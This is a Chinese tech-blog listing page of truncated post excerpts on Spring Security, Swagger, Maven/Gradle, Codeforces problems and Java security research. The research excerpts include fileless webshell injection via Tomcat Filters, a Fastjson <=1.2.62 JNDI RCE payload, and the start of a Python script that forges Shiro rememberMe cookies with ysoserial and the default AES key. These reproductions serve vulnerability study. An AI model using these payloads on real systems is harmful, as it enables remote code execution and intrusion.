shiro

Swagger权限控制下篇:基于Spring Security实现

℡╲_俬逩灬. 提交于 2020-07-27 01:20:44
> 接上篇《Apache Shiro 接管Swagger认证授权》,有热心网友反应Apache Shiro似乎太简单。针对这个问题,个人不做任何评价(一切技术服务于需求)。今天主要分享内容为:在Spring Security下如何接管Swagger的认证授权工作。 1.添加依赖 假定你对Swagger和Spring Security已经有一定的基础,现在开始检查你的项目中是否添加了Swagger和Spring Security的依赖。以Maven为例,向pom.xml文件添加如下配置信息: <dependency> <groupid>org.springframework.boot</groupid> <artifactid>spring-boot-starter-security</artifactid> </dependency> <dependency> <groupid>io.springfox</groupid> <artifactid>springfox-swagger2</artifactid> <version>2.9.2</version> </dependency> <dependency> <groupid>io.springfox</groupid> <artifactid>springfox-swagger-ui</artifactid> <version

Tomcat Filter之动态注入

爷,独闯天下 提交于 2020-07-24 15:20:32
前言 最近,看到好多不错的关于“无文件Webshell”的文章,对其中利用上下文动态的注入 Filter 的技术做了一下简单验证,写一下测试总结,不依赖任何框架,仅想学习一下tomcat的filter。 先放几篇大佬的文章: Tomcat中一种半通用回显方法 tomcat结合shiro无文件webshell的技术研究以及检测方法 Tomcat通用回显学习 基于全局储存的新思路 | Tomcat的一种通用回显方法研究 threedr3am/ysoserial Filter介绍 详细介绍略,简单记录一下我的理解: 过滤器(Filter):用来对指定的URL进行过滤处理,类似 .net core 里的中间件,例如登录验证过滤器可以用来限制资源的未授权访问; 过滤链(FilterChain):通过URL匹配动态将所有符合URL规则的过滤器共同组成一个过滤链,顺序有先后,类似 .net core 的管道,不过区别在于过滤链是单向的,管道是双向; 同Servlet,一般Filter的配置方式: web.xml @WebFilter修饰 Filter注册调用流程 新建一个登录验证的Filter: SessionFilter.java package com.reinject.MyFilter; import java.io.IOException; import javax.servlet

Fastjson <=1.2.62 远程代码执行-漏洞复现

血红的双手。 提交于 2020-05-09 22:21:21
影响范围: Fastjson<=1.2.62 需要开启autotype poc: String text1 = " {\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:1099/exploit\"} " ; pom.xml: <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.62</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> tips:这里需要另外导入jar包才能测试 该黑名单主要来自于jackson- CVE-2020-8840 https://nvd.nist.gov/vuln/detail/CVE-2020-8840 漏洞复现: 漏洞分析 这里明显存在jndi注入,但是toObjectImpl不满足fastjson调用规则,因此查看其父类函数

Shiro反序列化漏洞检测、dnslog

落爺英雄遲暮 提交于 2020-05-06 15:30:21
信息收集 poc # pip install pycrypto import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext =

Java构建工具Maven与Gradle

给你一囗甜甜゛ 提交于 2020-05-05 20:40:48
什么是构建工具? 构建工具是一个 把源码生成可执行应用程序的过程自动的化的一个程序 ,构建包括编译,连接跟把代码打包成可用的或可行的形式。 时下热门的两大构建工具 Maven: a.拥有约定你知道代码放在那里,放到哪里去 b.拥有生命周期 :可以自动执行编译,测试,打包等构建过程 c.拥有依赖管理,仓库管理 d.使用pom.xml进行管理 Maven的配置文件是.pom文件。POM是项目对象模型(Project Object Model)的简称,它是Maven项目中的文件,使用XML表示。其中包含项目的基本信息,构建过程,环境信息,依赖信息等。我们可以看下面这个简单的例子: <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <artifactId>iBase4J-SYS-Web<

基于springboot搭建的web系统架构

最后都变了- 提交于 2020-05-04 02:03:02
  从接触springboot开始,便深深的被它的简洁性深深的折服了,精简的配置,方便的集成,使我再也不想用传统的ssm框架来搭建项目,一大堆的配置文件,维护起来很不方便,集成的时候也要费力不少。从第一次使用springboot开始,一个简单的main方法,甚至一个配置文件也不需要(当然我是指的没有任何数据交互,没有任何组件集成的情况),就可以把一个web项目启动起来,下面总结一下自从使用springboot依赖,慢慢完善的自己的一个web系统的架构,肯定不是最好的,但平时自己用着很舒服。 1. 配置信息放到数据库里边   个人比较不喜欢配置文件,因此有一个原则,配置文件能不用就不用,配置信息能少些就少些,配置内容能用代码写坚决不用xml,因此我第一个想到的就是,能不能把springboot的配置信息写到数据库里,在springboot启动的时候自动去加载,而在application.properties里边只写一个数据源。最终找到了方法:   注意图中箭头指向的两行,构造了一个properties对象,然后将这个对象放到了springboot的启动对象application中,properties是一个类似map的key-value容器,springboot可以将其中的东西当做成原来application.properties中的内容一样

Codeforces Round #482 (Div. 2) :B

有些话、适合烂在心里 提交于 2020-05-02 16:29:46
题目链接: http://codeforces.com/contest/979/problem/B 解题心得: 这个题题意就是三个人玩游戏,每个人都有一个相同长度的字符串,一共有n轮游戏,每一轮三个人必须改变自己字符串中的一个字母,最后得分就是字符串中出现字符最多的字母的次数。 感觉这个题从题目描述到做法都像一个脑筋急转弯。主要明白一点,如果一个数要变回自己要怎么变。自己->其他->自己。自己->其他->其他->自己,推几个特例很容易就出来了。 1 #include <bits/stdc++.h> 2 using namespace std; 3 const int maxn = 1e5+ 100 ; 4 struct Person{ 5 string name; 6 int Max; 7 vector < int > ve; 8 }p[ 4 ]; 9 10 int change_times,len; 11 void init() { 12 map < char , int > maps; 13 for ( int i= ' a ' , j= ' A ' ;i<= ' z ' &&j<= ' Z ' ;i++,j++ ) { 14 maps[i] = 0 ; 15 maps[j] = 0 ; 16 } 17 char ri[maxn]; 18 p[ 0 ].name = "

Treasure Hunt CodeForces

天涯浪子 提交于 2020-05-02 14:32:02
After the big birthday party, Katie still wanted Shiro to have some more fun. Later, she came up with a game called treasure hunt. Of course, she invited her best friends Kuro and Shiro to play with her. The three friends are very smart so they passed all the challenges very quickly and finally reached the destination. But the treasure can only belong to one cat so they started to think of something which can determine who is worthy of the treasure. Instantly, Kuro came up with some ribbons. A random colorful ribbon is given to each of the cats. Each color of the ribbon can be represented as

手把手带你入门 Spring Security!

淺唱寂寞╮ 提交于 2020-05-02 08:36:59
Spring Security 是 Spring 家族中的一个安全管理框架,实际上,在 Spring Boot 出现之前,Spring Security 就已经发展了多年了,但是使用的并不多,安全管理这个领域,一直是 Shiro 的天下。 相对于 Shiro,在 SSM/SSH 中整合 Spring Security 都是比较麻烦的操作,所以,Spring Security 虽然功能比 Shiro 强大,但是使用反而没有 Shiro 多(Shiro 虽然功能没有 Spring Security 多,但是对于大部分项目而言,Shiro 也够用了)。 自从有了 Spring Boot 之后,Spring Boot 对于 Spring Security 提供了 自动化配置方案,可以零配置使用 Spring Security。 因此,一般来说,常见的安全管理技术栈的组合是这样的: SSM + Shiro Spring Boot/Spring Cloud + Spring Security 注意,这只是一个推荐的组合而已,如果单纯从技术上来说,无论怎么组合,都是可以运行的。 我们来看下具体使用。 1.项目创建 在 Spring Boot 中使用 Spring Security 非常容易,引入依赖即可: pom.xml 中的 Spring Security 依赖: <dependency>

SpringSecurity在Springboot下使用的初步体验

南笙酒味 提交于 2020-04-29 12:08:05
  SpringSecurity曾经在十年前非常火热,只要是做权限系统,当时几乎非用它不可,记得是在XML文件里一堆的配置。曾几何时,Shiro冒了出来,以其简洁和轻量的风格慢慢地捕获了众多码农的心,从此SpringSecurity似乎成了历史文物。   但事物总是在发展变化的,这两年随着 SpringBoot的兴起,由于SpringSecurity与SpringBoot都是Spring家族成员,在整合上具备天然优势,且SpringSecurity功能相对Shiro更加完善,对OAUTH认证支持得比较好,所以在微服务架构中又得到了广泛应用。 在SpringBoot下使用SpringSecurity非常的简单,只要保证在项目的classpath下引入了相应的jar包就可以了。启动类上也无需添加什么,下面看一个SpringSecurity应用的最简项目: 1. pom配置 < parent > < groupId > org.springframework.boot </ groupId > < artifactId > spring-boot-starter-parent </ artifactId > < version > 2.1.2.RELEASE </ version > </ parent > < groupId > cn.xxx.yyyy </ groupId > <